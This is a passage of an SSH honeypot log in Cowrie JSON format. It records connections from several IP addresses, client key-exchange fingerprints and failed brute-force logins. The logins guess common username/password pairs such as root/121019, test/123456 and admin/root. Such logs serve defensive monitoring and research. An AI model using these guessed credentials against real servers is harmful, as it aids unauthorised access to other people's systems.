{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.514175Z","src_ip":"46.19.67.181","session":"41cf0e9ef4cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.520135Z","src_ip":"91.92.40.171","session":"1856b7ecf7a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.626014Z","src_ip":"46.19.67.181","session":"41cf0e9ef4cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.815293Z","src_ip":"91.92.40.171","session":"1856b7ecf7a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.821091Z","src_ip":"91.92.42.133","session":"c80c8a6a3fbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121019","message":"login attempt [root/121019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.961806Z","src_ip":"46.19.67.181","session":"41cf0e9ef4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:31.916620Z","src_ip":"91.92.40.171","session":"1856b7ecf7a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:32.075229Z","src_ip":"46.19.67.181","session":"41cf0e9ef4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:32.210640Z","src_ip":"91.92.42.133","session":"c80c8a6a3fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":53551,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0ac06aa11d2","protocol":"ssh","message":"New connection: 112.216.108.62:53551 (159.203.135.109:22) [session: d0ac06aa11d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:34.935435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:34.940283Z","src_ip":"112.216.108.62","session":"d0ac06aa11d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:35.146528Z","src_ip":"112.216.108.62","session":"d0ac06aa11d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"buh","password":"buh","message":"login attempt [buh/buh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:36.004797Z","src_ip":"112.216.108.62","session":"d0ac06aa11d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49960,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc1fe31baf6","protocol":"ssh","message":"New connection: 91.92.42.133:49960 (159.203.135.109:22) [session: afc1fe31baf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:37.151717Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:37.213280Z","src_ip":"112.216.108.62","session":"d0ac06aa11d2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:37.229521Z","src_ip":"91.92.42.133","session":"afc1fe31baf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:37.304460Z","src_ip":"91.92.42.133","session":"afc1fe31baf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:37.926795Z","src_ip":"91.92.42.133","session":"afc1fe31baf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:39.114866Z","src_ip":"91.92.42.133","session":"afc1fe31baf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":42050,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fab77c227b5","protocol":"ssh","message":"New connection: 45.140.193.156:42050 (10.17.0.5:22) [session: 2fab77c227b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:41.403355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:41.407102Z","src_ip":"45.140.193.156","session":"2fab77c227b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:41.522481Z","src_ip":"45.140.193.156","session":"2fab77c227b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$w0rd12345","message":"login attempt [ubuntu/Pa$$w0rd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:42.022890Z","src_ip":"45.140.193.156","session":"2fab77c227b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:43.140454Z","src_ip":"45.140.193.156","session":"2fab77c227b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49986,"dst_ip":"159.203.135.109","dst_port":22,"session":"517978194032","protocol":"ssh","message":"New connection: 91.92.42.133:49986 (159.203.135.109:22) [session: 517978194032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:43.708431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:44.018813Z","src_ip":"91.92.42.133","session":"517978194032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:44.022597Z","src_ip":"91.92.42.133","session":"517978194032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:46.244977Z","src_ip":"91.92.42.133","session":"517978194032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:47.738687Z","src_ip":"91.92.42.133","session":"517978194032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54096,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c8ceba9992","protocol":"ssh","message":"New connection: 91.92.42.133:54096 (159.203.135.109:22) [session: 28c8ceba9992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:49.988946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:50.766017Z","src_ip":"91.92.42.133","session":"28c8ceba9992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:50.770078Z","src_ip":"91.92.42.133","session":"28c8ceba9992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:55.101421Z","src_ip":"91.92.42.133","session":"28c8ceba9992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:56.846399Z","src_ip":"91.92.42.133","session":"28c8ceba9992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55718,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc6d376d39dd","protocol":"ssh","message":"New connection: 91.92.42.133:55718 (159.203.135.109:22) [session: bc6d376d39dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:56.996311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:57.634399Z","src_ip":"91.92.42.133","session":"bc6d376d39dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:57.639897Z","src_ip":"91.92.42.133","session":"bc6d376d39dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"12345","message":"login attempt [appuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:01.213985Z","src_ip":"91.92.42.133","session":"bc6d376d39dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55772,"dst_ip":"159.203.135.109","dst_port":22,"session":"900a4f393c60","protocol":"ssh","message":"New connection: 91.92.42.133:55772 (159.203.135.109:22) [session: 900a4f393c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:03.052855Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:03.110466Z","src_ip":"91.92.42.133","session":"bc6d376d39dd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:04.422201Z","src_ip":"91.92.42.133","session":"900a4f393c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-s